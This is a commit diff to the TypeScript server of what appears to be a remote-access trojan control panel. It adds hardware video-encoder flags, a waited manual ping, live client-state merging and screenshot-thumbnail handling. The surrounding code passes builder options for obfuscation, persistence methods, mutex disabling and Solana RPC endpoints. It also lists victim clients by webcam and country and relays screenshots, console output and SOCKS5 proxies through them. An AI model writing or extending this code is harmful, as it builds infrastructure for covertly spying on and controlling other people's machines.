AMF + NVENC control and support
This commit is contained in:
@@ -169,6 +169,8 @@ export async function handleBuildRoutes(
|
||||
solRpcEndpoints,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
enableNvenc,
|
||||
enableAmf,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethods,
|
||||
@@ -478,6 +480,8 @@ export async function handleBuildRoutes(
|
||||
disableMutex: safeDisableMutex,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
enableNvenc: enableNvenc !== false,
|
||||
enableAmf: enableAmf !== false,
|
||||
obfuscate: !!obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethods: safePersistenceMethods,
|
||||
|
||||
@@ -48,6 +48,15 @@ export function dispatchPingBulk(target: ClientInfo, countValue: unknown): numbe
|
||||
return count;
|
||||
}
|
||||
|
||||
async function waitForManualPing(target: ClientInfo, sentAt: number, timeoutMs = 1500): Promise<boolean> {
|
||||
const deadline = Date.now() + timeoutMs;
|
||||
while (Date.now() < deadline) {
|
||||
if ((target.lastPongAt ?? 0) >= sentAt && target.lastPingNonce === undefined) return true;
|
||||
await new Promise((resolve) => setTimeout(resolve, 10));
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
export async function handleClientCommandRoute(
|
||||
req: Request,
|
||||
url: URL,
|
||||
@@ -87,8 +96,13 @@ export async function handleClientCommandRoute(
|
||||
let success = true;
|
||||
|
||||
if (action === "ping") {
|
||||
sendPingRequest(target, target.ws, "manual", 0);
|
||||
const sentAt = Date.now();
|
||||
const sent = sendPingRequest(target, target.ws, "manual", 0);
|
||||
metrics.recordCommand("ping");
|
||||
if (body?.waitForResult === true) {
|
||||
const updated = sent ? await waitForManualPing(target, sentAt) : false;
|
||||
return Response.json({ ok: true, sent, updated, pingMs: target.pingMs ?? null }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
} else if (action === "ping_bulk") {
|
||||
const count = dispatchPingBulk(target, body?.count);
|
||||
metrics.recordCommand("ping_bulk");
|
||||
|
||||
@@ -61,6 +61,18 @@ type ClientRouteDeps = {
|
||||
broadcastNotificationsCleared: (clientId: string) => void;
|
||||
};
|
||||
|
||||
function mergeLiveClientState(result: any) {
|
||||
return {
|
||||
...result,
|
||||
items: (result.items || []).map((item: any) => {
|
||||
const live = clientManager.getClient(item.id);
|
||||
return live
|
||||
? { ...item, online: true, lastSeen: live.lastSeen, pingMs: live.pingMs ?? item.pingMs }
|
||||
: item;
|
||||
}),
|
||||
};
|
||||
}
|
||||
|
||||
export async function handleClientRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
@@ -115,12 +127,12 @@ export async function handleClientRoutes(
|
||||
|
||||
if (user.role === "admin") {
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (user.role === "operator" && isEnrollmentRequest) {
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, builtByUserId: user.userId, requireBuildOwner: true });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
const scope = getUserClientAccessScope(user.userId);
|
||||
@@ -132,7 +144,7 @@ export async function handleClientRoutes(
|
||||
const deniedClientIds = scope === "denylist" ? listUserClientRuleIdsByAccess(user.userId, "deny") : undefined;
|
||||
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, allowedClientIds, deniedClientIds });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/clients/countries") {
|
||||
@@ -287,9 +299,7 @@ export async function handleClientRoutes(
|
||||
metrics.recordCommand("screenshot");
|
||||
}
|
||||
const fresh = target?.online ? await waitForThumbnail(clientId, 2500) : false;
|
||||
if (fresh) {
|
||||
await new Promise((r) => setTimeout(r, 300));
|
||||
} else {
|
||||
if (!fresh) {
|
||||
await requestThumbnailRegen(clientId);
|
||||
}
|
||||
clearThumbnailRequest(clientId);
|
||||
|
||||
@@ -17,7 +17,7 @@ import { decodeMessage, encodeMessage, type WireMessage, type Hello, type Ping }
|
||||
import * as sessionManager from "../../sessions/sessionManager";
|
||||
import type { SocketData } from "../../sessions/types";
|
||||
import type { ClientInfo } from "../../types";
|
||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong, handleScreenshotThumbnailResult } from "../../wsHandlers";
|
||||
import { queueClientDbUpdate, scheduleQueuedClientDbFlush } from "../../client-db-sync";
|
||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
|
||||
@@ -789,6 +789,7 @@ export async function handleWebSocketMessage(
|
||||
}
|
||||
break;
|
||||
case "screenshot_result":
|
||||
handleScreenshotThumbnailResult(client, payload);
|
||||
deps.handleNotificationScreenshotResult(client.id, payload);
|
||||
break;
|
||||
case "console_output":
|
||||
|
||||
Reference in New Issue
Block a user